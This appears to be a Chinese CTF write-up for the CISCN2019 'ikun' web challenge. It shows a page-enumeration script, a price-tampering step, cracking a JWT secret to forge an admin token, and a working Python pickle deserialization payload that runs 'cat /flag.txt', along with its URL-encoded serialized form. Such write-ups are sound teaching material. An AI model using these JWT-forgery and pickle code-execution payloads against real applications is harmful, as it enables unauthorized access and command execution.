[CISCN2019 华北赛区 Day1 Web2]ikun

进入题目发现
image

找到lv6
查看源码
image

发现用lv标志
点击下一页发现url参数page
写脚本
import requests
for i in range(500):
url="http://248e4e18-a7a1-4bb1-adc1-e3a177974773.node4.buuoj.cn:81/shop?page={}".format(i)
reponse=requests.get(url)
if "lv6.png" in reponse.text:
print(i)
得到页面在181
点击购买,先注册一个用户

image

结算抓包
image

发现discount=0.8为折扣将其改为很小的数
image

发现只允许admin登录,

image

在抓的包中发现jwt,于是用工具jwt-cracker解密

image

发现密钥1Kun
image

将jwt替换发包
image

查看检查
image

image

发现源码
在admin.py中发现反序列化,参数为become

image

在老师傅的wp中借用脚本
可先用find / -name flag 找到flag位置,也可目录遍历查找
class Try(object):
def reduce(self):
return (commands.getoutput, ('cat /flag.txt',))
a = Try()
print(urllib.quote(pickle.dumps(a)))
在python2的环境下运行
得到序列化结果
ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.
点击一键成为大会员抓包
image

注意修改jwt,得到flag

image

posted @ 2024-07-07 21:19  vзn0m  阅读(4)  评论(0编辑  收藏  举报